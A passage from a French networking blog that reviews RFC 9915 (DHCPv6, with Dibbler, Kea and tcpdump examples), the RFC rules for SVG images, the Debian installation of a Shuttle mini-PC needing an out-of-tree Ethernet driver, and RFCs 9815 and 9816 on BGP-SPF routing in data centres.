le port de destination, où le serveur écoute, est 547) sa demande à
l'adresse multicast locale au lien
ff02::1:2. Le serveur se reconnait et lui
répond. S'il n'y a pas de réponse, c'est, comme dans le DNS, c'est au client de
réémettre (section 15). L'adresse IP source du client est également
une adresse locale au lien.
(Notez qu'une autre adresse de diffusion restreinte est réservée,
ff05::1:3 ; elle inclut également tous les
serveurs DHCP mais, contrairement à la précédente, elle exclut les
relais, qui transmettent les requêtes DHCP d'un réseau local à un
autre.)
Le serveur choisit sur quels critères il alloue les adresses IP. Il peut les distribuer de manière statique (une même machine a toujours la même adresse IP) ou bien les prendre dans un pool d'adresses et chaque client aura donc une adresse « dynamique ». Le fichier de configuration du serveur DHCP Kea ci-dessous montre un mélange des deux approches.
Il faut bien noter (et notre RFC le fait dans sa section 22) que DHCP n'offre aucune sécurité. Comme il est conçu pour servir des machines non configurées, sur lesquelles on ne souhaite pas intervenir, authentifier la communication est difficile. Un serveur DHCP pirate, ou, tout simplement, un serveur DHCP accidentellement activé, peuvent donc être très gênants.
Outre l'adresse IP, DHCP peut indiquer des options comme les adresses des serveurs DNS à utiliser (RFC 3646).
Notre version IPv6 de DHCP est assez différente de la version IPv4 (et le RFC est plus de trois fois plus long). Par exemple, l'échange « normal » entre client et serveur prend quatre paquets IP (section 5) et non pas deux. (Mais il y a aussi un échange simplifié à deux paquets, cf. section 5.1.) L'encodage des messages est très différent, et il y a des différences internes comme l'IA (Identity Association) de la section 12. Il y a aussi des différences visibles à l'utilisateur comme le concept de DUID (DHCP Unique IDentifier), section 11, qui remplace les anciens client identifier et server identifier de DHCP v4. Les différences sont telles que le RFC précise que leur intégration avec DHCP pour IPv4 n'est pas envisagée.
À l'heure actuelle, il existe plusieurs mises en œuvre de DHCPv6, comme Kea (serveur seulement) et dhcpcd (client seulement). (Notez qu'une liste complète figurait dans le brouillon du RFC.) Pour celles et ceux qui utilisent une Freebox comme serveur DHCP, il semble qu'elle ait DHCPv6 depuis 2018 (je n'ai pas testé). Il parait que la Livebox le fait également. Je n'ai pas non plus essayé pour la Turris Omnia mais cela devrait marcher puisqu'elle utilise le serveur odhcpd, qui sait faire du DHCPv6 (ceci dit, je ne vois pas comment l'activer depuis les menus de Luci). Et il y a bien sûr des implémentations non-libres dans des équipements comme les Cisco. Notez que ces mises en œuvre de DHCPv6 n'ont pas forcément déjà intégré les modifications de notre RFC 9915.
Il existe aussi des programmes qui ne sont plus maintenus comme Dibbler (client et serveur), l'ancien programme de l'ISC (le nouveau est Kea), etc.
Voici un exemple d'utilisation de Dibbler, face à Kea, qui nous
affiche les quatre messages (Solicit - Advertise - Request
- Reply) :
% sudo dibbler-client run ... 2026.02.11 08:28:04 Client Notice DUID creation: Generating 14-bytes long link-local+time (duid-llt) DUID. 2026.02.11 08:28:04 Client Notice DUID creation: generated using wlan0/4 interface. 2026.02.11 08:28:04 Client Info My DUID is 00:01:00:01:31:1e:fa:14:f6:fc:69:10:65:09. ... 2026.02.11 08:28:04 Client Info Creating SOLICIT message with 1 IA(s), no TA and 0 PD(s) on eth1/3 interface. 2026.02.11 08:28:04 Client Debug Sending SOLICIT(opts:1 3 39 8 6 ) on eth1/3 to multicast. 2026.02.11 08:28:04 Client Info Received ADVERTISE on eth1/3,trans-id=0x5ded1b, 5 opts: 1 2 3 23 39 2026.02.11 08:28:05 Client Info Processing msg (SOLICIT,transID=0x5ded1b,opts: 1 3 39 8 6) 2026.02.11 08:28:05 Client Info Creating REQUEST. Backup server list contains 1 server(s). 2026.02.11 08:28:05 Client Debug Advertise from Server ID=00:01:00:01:31:19:db:68:38:f7:cd:ce:22:c6, preference=0.[using this] 2026.02.11 08:28:05 Client Debug Sending REQUEST(opts:1 3 39 6 2 8 ) on eth1/3 to multicast. 2026.02.11 08:28:05 Client Info Received REPLY on eth1/3,trans-id=0x6eb008, 5 opts: 1 2 3 23 39 2026.02.11 08:28:05 Client Notice Address fc00:cafe:1234:4321:5678::2/128 added to eth1/3 interface. 2026.02.11 08:28:05 Client Debug RENEW(IA_NA) will be sent (T1) after 1000, REBIND (T2) after 2000 seconds. 2026.02.11 08:28:08 Client Notice FQDN: About to perform DNS Update: DNS server=2001:db8:2::dead:beef, IP=fc00:cafe:1234:4321:5678::2 and FQDN=grace ...
Le serveur en face était un Kea ainsi configuré :
"subnet6": [
{
"interface": "eth0", // Ce n'est pas bien documenté mais
// cette option est cruciale, autrement le client reçoit
// des « Server could not select subnet for this client ».
"subnet": "fc00:cafe:1234:4321::/64",
"pools": [ { "pool": "fc00:cafe:1234:4321:5678::/80" } ],
...
Si vous voulez, le pcap de l'échange est disponible (capture faite avec
tcpdump -w /tmp/dhcpv6-bis.pcap udp and \(port 546 or port
547\)). tcpdump voit le trafic
ainsi :
09:28:04.624687 IP6 fe80::606d:ad11:58ca:6cab.546 > ff02::1:2.547: dhcp6 solicit 09:28:04.639479 IP6 fe80::6ee4:5672:da95:1018.547 > fe80::606d:ad11:58ca:6cab.546: dhcp6 advertise 09:28:05.652900 IP6 fe80::606d:ad11:58ca:6cab.546 > ff02::1:2.547: dhcp6 request 09:28:05.667843 IP6 fe80::6ee4:5672:da95:1018.547 > fe80::606d:ad11:58ca:6cab.546: dhcp6 reply
La requête est émise depuis une adresse
lien-local (ici
fe80::606d:ad11:58ca:6cab) pas depuis une
adresse « tout zéro » comme en IPv4 (section 17 du RFC). On voit
bien les quatre messages (Solicit - Advertise - Request -
Reply), décrits section 5.2 (et la liste des types
possibles est en section 7.3). Le serveur n'a pas répondu
directement avec un Reply, parce que le client
n'a pas inclut l'option Rapid Commit (section
21.14). Dans l'échange à quatre messages, le client demande à tous
(Solicit), un(s) serveur(s) DHCP répond(ent)
(Advertise), le client envoie alors sa requête
au serveur choisi (Request), le serveur donne
(ou pas) son accord (Reply). Avec l'option
-vvv, tcpdump est plus bavard et montre qu'il
analyse bien DHCPv6 :
09:28:04.624687 IP6 (flowlabel 0x51d28, hlim 1, next-header UDP (17) payload length: 99) fe80::606d:ad11:58ca:6cab.546 > ff02::1:2.547: [udp sum ok] dhcp6 solicit (xid=5ded1b (client-ID hwaddr/time type 1 time 824113684 f6fc69106509) (IA_NA IAID:1 T1:4294967295 T2:4294967295 (IA_ADDR :: pltime:4294967295 vltime:4294967295)) (Client-FQDN) (elapsed-time 0) (option-request DNS-server Client-FQDN)) 09:28:04.639479 IP6 (flowlabel 0xf6846, hlim 64, next-header UDP (17) payload length: 140) fe80::6ee4:5672:da95:1018.547 > fe80::606d:ad11:58ca:6cab.546: [udp sum ok] dhcp6 advertise (xid=5ded1b (client-ID hwaddr/time type 1 time 824113684 f6fc69106509) (server-ID hwaddr/time type 1 time 823778152 38f7cdce22c6) (IA_NA IAID:1 T1:1000 T2:2000 (IA_ADDR fc00:cafe:1234:4321:5678::2 pltime:3000 vltime:4000)) (DNS-server 2001:db8:2::dead:beef 2001:db8:2::cafe:babe) (Client-FQDN)) 09:28:05.652900 IP6 (flowlabel 0x51d28, hlim 1, next-header UDP (17) payload length: 117) fe80::606d:ad11:58ca:6cab.546 > ff02::1:2.547: [udp sum ok] dhcp6 request (xid=6eb008 (client-ID hwaddr/time type 1 time 824113684 f6fc69106509) (IA_NA IAID:1 T1:4294967295 T2:4294967295 (IA_ADDR fc00:cafe:1234:4321:5678::2 pltime:3000 vltime:4000)) (Client-FQDN) (option-request DNS-server Client-FQDN) (server-ID hwaddr/time type 1 time 823778152 38f7cdce22c6) (elapsed-time 0)) 09:28:05.667843 IP6 (flowlabel 0xf6846, hlim 64, next-header UDP (17) payload length: 140) fe80::6ee4:5672:da95:1018.547 > fe80::606d:ad11:58ca:6cab.546: [udp sum ok] dhcp6 reply (xid=6eb008 (client-ID hwaddr/time type 1 time 824113684 f6fc69106509) (server-ID hwaddr/time type 1 time 823778152 38f7cdce22c6) (IA_NA IAID:1 T1:1000 T2:2000 (IA_ADDR fc00:cafe:1234:4321:5678::2 pltime:3000 vltime:4000)) (DNS-server 2001:db8:2::dead:beef 2001:db8:2::cafe:babe) (Client-FQDN))
Mais si vous préférez tshark, l'analyse de cet échange est également disponible.
Notez que certains clients DHCP dépendent de la présence d'un routeur qui envoie des RA (RFC 4861) avec le bit M - Managed - à 1 (RFC 4861, section 4.2). En l'absence de ces annonces, le client se contente de demander des informations diverses au serveur DHCP, mais pas d'adresse IP.
Et si vous voulez compiler dhcpcd vous-même, c'est simple :
wget https://github.com/NetworkConfiguration/dhcpcd/releases/download/v10.3.0/dhcpcd-10.3.0.tar.xz dhcpcd-10.3.0.tar.xz tar xvf dhcpcd-10.3.0.tar dhcpcd-10.3.0 ./configure make sudo make install
L'échange à deux messages (Solicit - Reply)
est, lui, spécifié dans la section 5.1. Il s'utilise si le client
n'a pas besoin d'une adresse IP, juste d'autres informations de
configuration comme l'adresse du serveur NTP, comme décrit dans le RFC 4075. Même si le client demande une adresse IP, il est
possible d'utiliser l'échange à deux messages, via la procédure
rapide avec l'option Rapid Commit.
Tout client ou serveur DHCP v6 a un DUID (DHCP Unique
Identifier, décrit en section 11). Le DUID est opaque et
ne devrait pas être analysé par la machine qui le reçoit. La seule
opération admise est de tester si deux DUID sont égaux (indiquant
qu'en face, c'est la même machine). Il existe plusieurs façons de
générer un DUID (dans l'exemple plus haut, Dibbler avait choisi la
méthode duid-llt, adresse locale et heure) et
de nouvelles pourront apparaitre dans le futur. Par exemple, un DUID
peut être fabriqué à partir d'un UUID (RFC 6355).
Mais l'utilisation exclusive du DUID, au détriment de l'adresse MAC, n'est pas une obligation du RFC (le RFC, section 11, dit juste « DHCP servers use DUIDs to identify clients for the selection of configuration parameters », ce qui n'interdit pas d'autres méthodes). On peut utiliser l'adresse Ethernet. En combinaison avec des commutateurs qui filtrent sur l'adresse MAC, cela peut améliorer la sécurité.
Puisqu'on peut aussi attribuer des adresses statiquement à une machine, en la reconnaissant, par exemple, à son adresse MAC ou à son DUID, voici comment on peut configurer Kea pour donner une adresse IP fixe au client d'un certain DUID :
"reservations": [
{
"duid": "00:01:00:01:31:1e:fa:14:f6:fc:69:10:65:09",
"ip-addresses": [ "fc00:cafe:1234:4321:b0f:1111::1" ]
}
La section 6 de notre RFC décrit les différentes façons d'utiliser DHCPv6. On peut se servir de DHCPv6 en mode sans état (section 6.1), lorsqu'on veut juste des informations de configuration, ou avec état (section 6.2, qui décrit la façon historique d'utiliser DHCP), lorsqu'on veut réserver une ressource (typiquement l'adresse IP) et qu'il faut alors que le serveur enregistre (et pas juste dans sa mémoire, car il peut redémarrer) ce qui a été réservé. On peut aussi faire quelque chose qui n'a pas d'équivalent en IPv4, se faire déléguer un préfixe d'adresses IP entier (section 6.3). Un client DHCP qui reçoit un préfixe, mettons, /60, peut ensuite redéléguer des bouts, par exemple ici des /64. (Le RFC 7084 est une utile lecture au sujet des routeurs installés chez M. Toutlemonde.)
Le format détaillé des messages est dans la section 8. Le début des messages est toujours le même, un type d'un octet (la liste des types est en section 7.3) suivi d'un identificateur de transaction de trois octets. Le reste est variable, dépendant du type de message.
On a déjà parlé du concept de DUID plus haut, donc sautons la section 11 du RFC, qui parle du DUID, et allons directement à la section 12, qui parle d'IA (Identity Association). Une IA est composée d'un identifiant numérique, l'IAID (IA IDentifier) et d'un ensemble d'adresses et de préfixes. Le but du concept d'IA est de permettre de gérer collectivement un groupe de ressources (adresses et préfixes). Pour beaucoup de clients, le concept n'est pas nécessaire, on n'a qu'une IA, d'identificateur égal à zéro. Pour les clients plus compliqués, on a plusieurs IA, et les messages DHCP (par exemple d'abandon d'un bail) indiquent l'IA concernée.
Comme pour DHCPv4, une bonne partie des informations est transportée dans des options, décrites dans la section 21. Certaines options sont dans ce RFC, d'autres pourront apparaitre dans des RFC ultérieurs. Toutes les options commencent par deux champs communs, le code identifiant l'option (deux octets), et la longueur de l'option. Ces champs sont suivis par des données, spécifiques à l'option. Ainsi, l'option Client Identifier a le code 1, et les données sont un DUID (cf. section 11). Autre exemple, l'option Vendor Class (code 16) permet d'indiquer le fournisseur du logiciel client (notez qu'elle pose des problèmes de sécurité, cf. RFC 7824, et section 23 de notre RFC). Notez qu'il peut y avoir des options dans les options, ainsi, l'adresse IP (code 5) est toujours dans les données d'une option IA (les IA sont décrites en section 12).
Puisqu'on a parlé de sécurité, la section 22 du RFC détaille les questions de sécurité liées à DHCP. Le fond du problème est qu'il y a une profonde incompatibilité entre le désir d'une autoconfiguration simple des clients (le but principal de DHCP) et la sécurité. DHCP n'a pas de chiffrement et tout le monde peut donc écouter les échanges de messages, voire les modifier. Et, de toute façon, le serveur n'est pas authentifié, donc le client ne sait jamais s'il parle au serveur légitime. Il est trivial pour un méchant de configurer un serveur DHCP « pirate » et de répondre à la place du vrai, indiquant par exemple un serveur DNS que le pirate contrôle. Les RFC 7610 et RFC 7513 décrivent des solutions possibles à ce problème.
Des attaques par déni de service sont également possibles, par exemple via un client méchant qui demande des ressources (comme des adresses IP) en quantité. Un serveur prudent peut donc limiter la quantité de ressources accessible à un client.
Maintenant, les questions de vie privée. La section 23 rappelle que DHCP est très indiscret. Le RFC 7824 décrit les risques que DHCP fait courir à la vie privée du client (et le RFC 7844 des solutions possibles).
Les registres IANA ne changent pas par rapport à l'ancien RFC. Les différents paramètres sont en ligne.
L'annexe A de notre RFC décrit les changements depuis l'ancien RFC 8415. Rien d'essentiel n'a été changé. On notera :
Date de publication du RFC : Janvier 2026
Auteur(s) du RFC : A. Rossi (RFC Series Consulting
Editor), N. Brownlee, J. Mahoney (RFC
Production Center), M. Thomson
Pour information
Réalisé dans le cadre de l'activité d'édition des RFC rswg
Première rédaction de cet article le 5 février 2026
Le RFC 7996 avait introduit la possibilité de mettre des images dans les RFC. Ce nouveau document le remplace, il décrit les règles pour inclure du SVG. Il est très court, se limitant aux principes, il n'a plus de mention d'un profil SVG particulier.
On peut donc mettre des images vectorielles car, a priori, dans un RFC, il y aura beaucoup plus de schémas que de photos. Donc, pas de bitmap.
Au fait, c'est quoi, SVG ? Il s'agit d'une norme d'un format d'images vectoriel, gérée par le W3C, et fondée sur XML. Voici un exemple d'un simple dessin en SVG :
<svg xmlns="http://www.w3.org/2000/svg" version="1.2"> <rect x="25" y="25" width="200" height="200" fill="white" stroke-width="4" stroke="black" /> <circle cx="125" cy="125" r="75" fill="black" /> <polyline points="50,150 50,200 200,200 200,100" stroke="black" stroke-width="4" fill="none" /> <line x1="50" y1="50" x2="200" y2="200" stroke="white" stroke-width="4" /> </svg>
Et voici son rendu :
Ce RFC décrit des objectifs, une politique. Contrairement à son prédécesseur, le RFC 7996, il ne décrit pas de profil de SVG, il fixe des buts, pas les moyens de les atteindre. Ces buts sont :
Il est crucial que les RFC soient accessibles à tou·te·s, non seulement quel que soit le matériel utilisé, mais également quels que soient les handicaps dont souffre leur propriétaire. C'est bien joli de vouloir ajouter des tas de choses dans les RFC mais encore faut-il ne pas creuser ainsi davantage le fossé entre les utilisateurs. Ainsi, accepter de la couleur (le RFC 6949 limite les futurs RFC au noir et blanc) fait courir le risque que les daltoniens ne puissent pas comprendre un RFC. De même, les graphiques, qui ont l'air comme ça d'être une bonne idée, peuvent aggraver la situation des malvoyants. Le texte seul peut toujours être lu à voix haute par un synthétiseur de parole mais pas le graphique.
La traduction de ces principes en conseils techniques concrets, et l'application de ces règles seront du ressort du RFC Production Center. Il suivra peut-être les nombreux détails pratiques décrits dans le RFC 7996 mais il n'y est pas obligé.
Comment on écrit du SVG ? S'il est évidemment possible de le faire entièrement à la main avec un éditeur ordinaire, gageons que peu de gens le tenteront. Le RFC 7996 citait des éditeurs graphiques, produisant du SVG, comme les logiciels libres Inkscape et Dia. (Et, si on aime programmer en Python, il y a svgwrite, que je présente plus en détail à la fin.) Attention, Inkscape et Dia produisent du SVG généraliste, qui peut inclure des fonctions de SVG qui ne suivent pas les principes de notre RFC.
Autre solution, utiliser la bibliothèque Fletcher de Typst :
% typst compile --format svg essai-fletcher.typ
Le texte « Tips for Creating Accessible SVG » donne des bons conseils pour faire du SVG accessible. Et il y a bien sûr la norme ARIA, dont il existe une introduction et de bons exemples. (Désolé, je n'ai pas suivi ces excellents principes dans les exemples ci-dessous, mais j'accepte les patches.)
Avec Inkscape, il faut veiller à sauver le
fichier en Plain SVG (autrement, on a des ennuis
avec les éléments spécifiques d'Inkscape, ex-Sodipodi). Mais il
reste malgré cela deux ou trois trucs à corriger manuellement, avant
que le document produit par Inkscape soit accepté. Pour Dia, il faut utiliser l'action
Export (par défaut, Dia n'enregistre pas en SVG),
mais Dia produit alors un document avec une DTD. Si on la retire
(manuellement, ou bien avec xmllint --dropdtd),
tout se passe bien.
Si vous voulez voir des exemples concrets de RFC utilisant SVG, vous avez entre beaucoup d'autres, le RFC 8899, le RFC 9869 ou encore le RFC 9750. Ainsi, le RFC 8899 inclut un schéma qui a deux formes alternatives, en art ASCII :
<artwork type="ascii-art" name="" alt="" align="left" pn="section-4.4-2.1.2">
Any additional
headers .--- MPS -----.
| | |
v v v
+------------------------------+
| IP | ** | PL | protocol data |
+------------------------------+
<----- PLPMTU ----->
<---------- PMTU -------------->
</artwork>
Et en SVG, que vous pouvez admirer dans le rendu HTML du RFC et son rendu en PDF.
Une alternative, pour tester les SVG est svgcheck. Ici avec le vrai source du RFC 9750 :
% svgcheck rfc9750.xml INFO: File conforms to SVG requirements.
Et si je tente de mettre des couleurs vives en modifiant le XML :
% svgcheck rfc9750.xml rfc9750.xml:438: The attribute 'stroke' does not allow the value 'red', replaced with 'black' ERROR: File does not conform to SVG requirements
Autre solution que j'aime bien pour faire du SVG, dès qu'on a des éléments répétitifs et qu'on veut donc automatiser (en Python), svgwrite. Ce schéma en art ASCII :
+--------------+ +----------------+ | Alice |------------------------------------| Bob | | 2001:db8::1 | | 2001:db8::2 | +--------------+ +----------------+
aurait pu être créé avec svgwrite avec network-schema-svgwrite.py, qui donne
Bien sûr, pour un schéma aussi simple, le gain n'est pas évident, mais il le devient pour les schémas comportant beaucoup d'éléments récurrents. Mais notez que svgwrite, par défaut, peut donc produire des SVG non conformes aux règles du RFC (par exemple avec de la couleur). Le programmeur doit donc faire attention.
Première rédaction de cet article le 29 janvier 2026
J'ai acheté un mini-PC Shuttle Nano NE10N et cet article est là pour documenter cet appareil et parler du problème d'installation avec sa carte Ethernet.
Je voulais ce mini-PC pour un serveur à la maison, restant allumé en permanence. Mon cahier des charges était :
En outre, je souhaitais :
J'indiquerai plus tard quelques pistes que j'ai suivies. Mais d'abord, la machine.
Voici l'engin de face, de dos et l'intérieur :

Voici le matériel sur le bus PCI :
% lspci 00:00.0 Host bridge: Intel Corporation Alder Lake-N Processor Host Bridge/DRAM Registers 00:02.0 VGA compatible controller: Intel Corporation Alder Lake-N [UHD Graphics] 00:08.0 System peripheral: Intel Corporation GNA Scoring Accelerator 00:0a.0 Signal processing controller: Intel Corporation Platform Monitoring Technology (rev 01) 00:0d.0 USB controller: Intel Corporation Alder Lake-N Thunderbolt 4 USB Controller 00:14.0 USB controller: Intel Corporation Alder Lake-N PCH USB 3.2 xHCI Host Controller 00:14.2 RAM memory: Intel Corporation Alder Lake-N PCH Shared SRAM 00:16.0 Communication controller: Intel Corporation Alder Lake-N PCH HECI Controller 00:17.0 SATA controller: Intel Corporation Alder Lake-N SATA AHCI Controller 00:1c.0 PCI bridge: Intel Corporation Alder Lake-N PCI Express Root Port #4 00:1f.0 ISA bridge: Intel Corporation Alder Lake-N PCH eSPI Controller 00:1f.3 Audio device: Intel Corporation Alder Lake-N PCH High Definition Audio Controller 00:1f.4 SMBus: Intel Corporation Alder Lake-N SMBus 00:1f.5 Serial bus controller: Intel Corporation Alder Lake-N SPI (flash) Controller 01:00.0 Ethernet controller: Motorcomm Microelectronics. YT6801 Gigabit Ethernet Controller (rev 01)
Les caractéristiques du processeur sont en
et les messages de
démarrage en nano-ne10-cpu.txt.nano-ne10-boot.txt
La consommation électrique, mesurée par un wattmètre Chacon est de 5 W au calme et de 15 W quand la machine travaille à fond.
Où trouve-t-on cette machine ? Shuttle ne vend pas en direct. On peut trouver des machines chez des vendeurs en ligne mais je n'avais pas envie d'acheter chez des boites peu sympathiques et puis je voulais davantage de RAM et de disque que dans le cas de l'offre par défaut, et je n'avais pas envie de monter cela moi-même (ce qui aurait été assez facile, le boitier s'ouvre facilement et tout est accessible). Heureusement, des revendeurs de Shuttle rendent ce service. Si MisterOops n'a jamais répondu à mes demandes de devis, M2N a été très réactif et m'a rapidement livré un PC comme je voulais (« Shuttle XPC nano NE1000N Configurable (Sans Système d'exploitation, 8 Go DDR4, 500 Go SSD M.2 (SATA), Aucun) 1,00 Unité(s) »), après passage par le configurateur de Shuttle. (La bonne RAM serait de la DDR5, mais actuellement elle est hors de prix et peu disponible.)
J'avais demandé une machine sans système
d'exploitation en me disant qu'il n'y avait pas de
raison que l'installation pose des problèmes. J'ai téléchargé une
image « netinst » (Network Installation)
Debian, copié sur une clé
USB avec cp debian.iso /dev/sdX
quand soudain, le drame : « A driver for your hardware is
not available. You may need to load drivers from removable
media. Load missing drivers from removable
media? ». L'installateur de l'actuelle version de Debian
n'a en effet pas de pilote pour la carte
Ethernet « YT6801 Gigabit Ethernet ». (Ah, comment on trouve le type
de la carte et donc le pilote nécessaire ? Alt-F2 pour changer de
console puis lspci.)
Je vous donne tout de suite la solution :
/etc/apt/sources.list la ligne deb
file:///mnt trixie main (où /mnt
est l'endroit où vous montez la clé USB), puis apt
update,apt install build-essential kmod
dpkg-dev build-essential patch
linux-headers-6.12.48+deb13-amd64,wget
https://deb.tuxedocomputers.com/debian/pool/main/t/tuxedo-yt6801/tuxedo-yt6801_1.0.30tux4_all.deb,
et le mettre sur une clé USB,dkms, qui existe
chez Debian, et est indispensable pour compiler proprement le
pilote, mais n'est pas dans l'image d'installation, wget
http://ftp.fr.debian.org/debian/pool/main/d/dkms/dkms_3.2.2-1~deb13u1_all.deb,
et le mettre sur une clé USB,/mnt2) avec
apt install /mnt2/tuxedo-yt6801_1.0.30tux4_all.deb
/mnt2/dkms_3.2.2-1~deb13u1_all.deb.Le pilote va alors être compilé et installé, tout est bien qui finit bien, Ethernet marche.
% dpkg -l | grep yt6801
ii tuxedo-yt6801 1.0.29tux0 all Driver for Motorcomm YT6801
% lsmod | grep yt6801
yt6801 163840 0
% ip link show
…
2: enp1s0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP mode DEFAULT group default qlen 1000
link/ether 38:f7:cd:ce:22:c6 brd ff:ff:ff:ff:ff:ff
altname enx38f7cdce22c6
Cette approche est également documentée sur le forum de Linux Mint ou bien sur Reddit. Notez que ce pilote réseau fait débat, ce qui peut expliquer son absence de Debian.
Attention, il faudra recommencer à chaque mise à jour du noyau,
puisque le module n'est compilé que pour une version particulière du
noyau. Si apt dist-upgrade vous dit qu'il n'a
pas compilé les modules parce qu'il n'avait pas les fichiers
d'en-tête du noyau, danger ! Il faut installer ces en-têtes, puis
utiliser dkms build et dkms
install. Voici par exemple comment voir les versions
compilées et installées du module Ethernet, ici pour deux versions
du noyau :
% dkms status tuxedo-yt6801/1.0.29tux0, 6.12.63+deb13-amd64, x86_64: installed tuxedo-yt6801/1.0.29tux0, 6.12.69+deb13-amd64, x86_64: installed
Les autres machines que j'avais considérées :
Vous avez aussi un test de la machine que j'ai achetée sur l'excellent site MiniMachines. Notez qu'ils sont sur le fédivers, en @PierreLecourt@oisaur.com.
Date de publication du RFC : Juillet 2025
Auteur(s) du RFC : K. Patel (Arrcus), A. Lindem (LabN Consulting), S. Zandi, G. Dawra (Linkedin), J. Dong (Huawei Technologies)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF lsvr
Première rédaction de cet article le 27 janvier 2026
Le RFC 9815 normalise l'utilisation de l'algorithme de routage SPF avec BGP. Dans quels cas est-ce que ça peut s'appliquer à l'intérieur d'un centre de données ? Ce RFC 9816 donne des éléments de réponse.
Il s'agit donc d'un court complément au RFC 9815 pour un cas courant, le centre de données qui suit la topologie décrite par Charles Clos dans son article de 1952, « A study of non-blocking switching networks ». (On trouve aussi cet article sur Sci-Hub ou à divers endroits sur le Web.) Pour que le trafic circule de n'importe quel nœud d'entrée vers n'importe quel nœud de sortie, on peut connecter tous les nœuds d'entrée à tous les nœuds de sortie mais cela fait beaucoup de connexions, qui coûtent cher. Ou bien on peut connecter tous les nœuds d'entrée à un dispositif de commutation qui ira vers tous les nœuds de sortie. Mais le trafic risque d'être bloqué si ce dispositif est surchargé. Dans un réseau Clos, on met des nœuds intermédiaires, avec une connectivité suffisante pour qu'on ne soit pas bloqué dans la plupart des cas. Il y a donc plusieurs chemins possibles d'un bout à l'autre du tissu ainsi formé (ce qui fait qu'un algorithme de routage comme le spanning tree n'est pas optimal puisqu'il ne trouve qu'un seul chemin). Dans un centre de données moderne, il y a en général une épine dorsale formée des commutateurs rapides et, dans chaque baie, un commutateur ToR (Top of Rack, rien à voir avec Tor). Tous les commutateurs ToR sont connectés à l'épine dorsale (liaison dite Nord-Sud, l'épine dorsale étant représentée en haut, le Nord) alors qu'il n'y a pas forcément de liaison entre les commutateurs ToR (liaison dite Est-Ouest).
Dans un centre de données non public (où toutes les machines appartiennent à la même entité), quel protocole de routage utiliser ? A priori, un IGP, non, puisqu'il s'agit de routage interne ? Mais pour diverses raisons, entre autres pour se simplifier la vie avec un seul protocole pour tout, certains utilisent BGP (RFC 7938) et même EBGP (External BGP), où les routeurs sont dans des AS différents (regardez la section 5 du RFC 7938 pour comprendre ce choix). Mais avec EBGP, les sessions BGP correspondent au chemin des données, ce qui empêche d'utiliser des réflecteurs de route. Et puis l'algorithme de routage classique de BGP ne converge pas assez vite en cas de changement, ce qui n'est pas grave sur l'Internet public mais est plus gênant à l'intérieur du centre de données. C'est là que le BGP-SPF du RFC 9815 devient intéressant, en remplaçant l'algorithme de routage traditionnel par SPF.
Utiliser BGP permet aussi de simplifier l'authentification, en se reposant sur les mécanismes existants comme celui du RFC 5925.
Autre avantage, les équipements réseau de ce centre de données aiment bien avoir de l'information détaillée sur la topologie et c'est justement ce que fournit l'extension BGP Link State, normalisée dans le RFC 9552, et dont BGP-SPF dépend. Il n'y a plus qu'à écouter le trafic BGP pour tout apprendre du réseau et bâtir ainsi divers services.
Plusieurs topologies d'appairage sont possibles entre les routeurs, collant à la topologie physique ou bien s'en écartant. Les routeurs peuvent utiliser BFD (RFC 5880) pour vérifier en permanence qu'ils arrivent bien à se joindre.
Même si le vieux protocole IPv4 est présent, on peut ne s'appairer qu'en IPv6 (cf. le RFC 8950) voire qu'avec des adresses locales (RFC 7404).
Et si un routeur veut jouer à BGP avec les autres routeurs mais sans être utilisé pour transmettre des paquets ? (Par exemple parce qu'il héberge des services applicatifs qui doivent être joignables.) Le TLV SPF status (RFC 9815, section 5.2.1.1) sert à cela : s'il est présent, avec une valeur de 2, le nœud ne sera pas utilisé pour le transit des paquets.
Date de publication du RFC : Juillet 2025
Auteur(s) du RFC : K. Patel (Arrcus), A. Lindem (LabN Consulting), S. Zandi (LinkedIn), W. Henderickx (Nokia)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF lsvr
Première rédaction de cet article le 27 janvier 2026
Vous le savez (peut-être), le protocole de routage BGP est du type « vecteur de chemin ». Mais il peut aussi transporter des états des liens, si on souhaite faire des choses plus proches des protocoles à état des liens. Ce RFC décrit comment, avec ces informations sur l'état des liens, décider du routage par l'algorithme SPF (Shortest Path First) plutôt que par la méthode traditionnelle de BGP.
Pour simplifier, un protocole à état des liens (comme OSPF ou IS-IS) permet à chaque routeur d'avoir l'état complet du réseau, et donc de faire tourner des algorithmes comme SPF, qui nécessite justement cette connaissance totale. Par contre, un protocole à vecteur de distance comme RIP ou à vecteur de chemin comme BGP n'a pas besoin de cette information et consomme donc moins de mémoire (pour BGP, stocker l'état de tous les liens de l'Internet serait évidemment impossible). Mais le protocole doit développer des mécanismes pour éviter, par exemple, les boucles de routage, qui pourraient arriver puisque chaque routeur décide sur la base d'une information incomplète.
Les deux types de protocole ont des avantages et des inconvénients et il est donc tentant de les combiner. Le RFC 9552 normalise justement un moyen de transporter l'état des liens avec BGP. Cela permet des prises de décision plus « intelligentes », comme dans le cas du RFC 9107 pour un réflecteur ou du RFC 7971 pour le mécanisme de décision ALTO. Pour transporter cet état, le RFC 9552 normalise un AFI (Address Family Identifier, RFC 4760, section 3) et un SAFI (Sub-address Family Identifier, même référence). Ce sont l'AFI 16388 et le SAFI 71. Ce BGP-LS (Border Gateway Protocol - Link State) sert de base à ce nouveau RFC, qui décrit une des manières d'utiliser cette information sur l'état des liens. (Cette technique a plusieurs années mais le développement du RFC a été long.)
Beaucoup de gros centres de données utilisent en interne BGP (RFC 4271) pour distribuer l'information de routage, car la densité des équipements créerait trop de trafic, avec les protocoles plus bavards comme OSPF (c'est documenté dans le RFC 7938 et RFC 9816). (Ces gros centres sont parfois appelés MSDC pour Massively Scaled Data Centers.) En outre, BGP repose sur TCP, ce qui élimine les problèmes de gestion des paquets perdus qu'ont les IGP traditionnels. Et puis cela permet de n'utiliser qu'un seul protocole comme IGP et EGP. Il ne restait qu'à étendre BGP pour pouvoir utiliser l'algorithme SPF de certains IGP, ce que fait notre RFC. Le principal avantage (section 1.2 du RFC) de cet ajout est que tous les routeurs auront désormais une vue complète de tout le réseau, sans qu'il y ait besoin de multiplier les sessions BGP. C'est utile pour des services comme ECMP, le calcul à l'avance de routes de secours (RFC 5286), etc.
Un peu de terminologie s'impose pour suivre ce RFC (section 1.1) :
